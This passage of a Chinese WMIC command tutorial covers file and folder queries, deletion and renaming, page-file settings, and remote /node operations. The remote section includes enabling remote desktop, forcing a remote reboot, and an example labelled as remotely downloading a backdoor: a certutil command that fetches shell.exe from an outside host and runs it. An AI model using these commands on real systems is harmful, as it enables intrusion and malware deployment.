wmic datafile where "Name='c:\\windows\\system32\\cmd.exe'" get CreationDate,LastAccessed,LastModified
# CreationDate LastAccessed LastModified
# 20191114092108.255728+480 20191114092108.258724+480 20191114092108.258724+480

#2.可以进行文件查找(语句里面通配符以及)
wmic datafile where "drive='e:' and path='\\test\\' and FileName='cc' and Extension='cmd'" list #查找e盘下test目录(不包括子目录)下的cc.cmd文件
wmic datafile where "drive='e:' and FileName='cc' and Extension='cmd' and FileSize>'1000'" list #查找e盘下所有目录和子目录下的cc.cmd文件,且文件大小大于1K
wmic datafile where "drive='h:' and extension='txt' and path like '%\\test\\%' and filename like '%perl%'" get name #查找h盘下目录含有test,文件名含有perl,后缀为txt的文件
wmic datafile where "drive='c:' and extension='ps1' and path like '%\\windows\\%' and filename like '%po%'" get name #比较实用的功能

#3.按照条件删除文件
wmic datafile where "drive='e:' and Extension='cmd' and FileSize>'10000000'" call delete #删除e盘下文件大小大于10M的.cmd文件
wmic datafile where "drive='e:' and Extension<>'cmd' and path='test'" call delete #删除e盘下test目录(不包括子目录)下的非.cmd文件

#4.文件重命名
wmic datafile "c:\\hello.txt" call rename c:\test.txt #改名c:\hello.txt为c:\test.txt

#5.复制e盘下test目录(不包括子目录)下的cc.cmd文件到e:\,并改名为aa.bat
wmic datafile where "drive='e:' and path='\\test\\' and FileName='cc' and Extension='cmd'" call copy "e:\aa.bat" #注意目录的写法

WeiyiGeek.

WeiyiGeek.


fsdir

描述:文件目录系统项目管理

基础实例:

1
2
3
4
5
6
7
8
9
10
11
12
#1.查找e盘下名为test的目录
wmic FSDIR where "drive='e:' and filename='test'" list

#2.删除c:\good文件夹
wmic FSDIR "c:\\good" call delete

#3.删除e:\test目录下除过目录abc的所有目录
wmic FSDIR where "drive='e:' and path='\\test\\' and filename<>'abc'" call delete

#4.重命名c:\good文件夹为abb
wmic FSDIR "c:\\good" rename "c:\abb"
wmic fsdir where (name='c:\\test') rename "c:\abc"

WeiyiGeek.

WeiyiGeek.


pagefileset

描述:页面文件设置管理
基础语法:

1
2
3
4
5
6
PAGEFILESET ASSOC [<格式说明符>]
PAGEFILESET CREATE <分配列表> #注意: Create 不能用于创建新类。
PAGEFILESET DELETE
PAGEFILESET GET [<属性列表>] [<获取开关>]
PAGEFILESET LIST [<列表格式>] [<列表开关>]
PAGEFILESET SET [<分配列表>]

基础实例:

1
2
3
4
5
6
7
8
#1.更改当前页面文件初始大小和最大值
wmic PAGEFILESET set InitialSize="512",MaximumSize="512"

#2.页面文件设置到d:\下,执行下面两条命令
wmic pagefileset create name='d:\pagefile.sys',initialsize=512,maximumsize=1024
wmic pagefileset where "name='d:\\pagefile.sys'" delete
删除实例 \\WEIYIGEEK\ROOT\CIMV2:Win32_PageFileSetting.Name="d:\\pagefile.sys"
实例删除成功。


远程操作

/node

描述:/node 远程计算机操作WMIC命令开启远程计算机的远程桌面连接;
基础语法:

1
2
3
4
5
#开启远程
wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

#远程命令执行
wmic /node:[ip] /user:[用户] /password:[密码] process call create "shutdown.exe /r /f /t 0"

基础示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#0.进行wmic控制台登录
wmic /node:"192.168.1.20" /user:"domain\administrator" /password:"123456"
wmic /node:"192.168.1.88" /user:"domain\WeiyiGeek" /password:"weiye"


#1.WMIC命令开启远程计算机的远程桌面连接
wmic /node:10.2.14.20 /USER:"10.2.14.20/administrator" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

#2.远程计算机操作实例(打开笔记本)
wmic /node:10.2.14.200 /user:administrator process call create notepad.exe #在远程机器上创建新进程(值得利用) 会返回进程ID


#3.利用 wmic 实现远程下载后门
wmic /node:192.168.1.10 /user:administrator /password:123123 PROCESS call create "cmd /c certutil.exe -urlcache -split -f http://WEIYIGEEK.com/shell.exe c:/shell.exe
& c:/shell.exe & certutil.exe -urlcache -split -f http://WEIYIGEEK.com/shell.exe delete"

WeiyiGeek.

WeiyiGeek.


rdtoggle

描述:查看与设置远程桌面连接;

基础示例:

1
2
3
4
5
6
7
#1.查看远程连接的信息
wmic rdtoggle list
# AllowTSConnections ServerName
# 0 WEIYIGEEK

#2.开2003的3389
wmic RDTOGGLE where "name='WEIYIGEEK'" call SetAllowTSConnections 1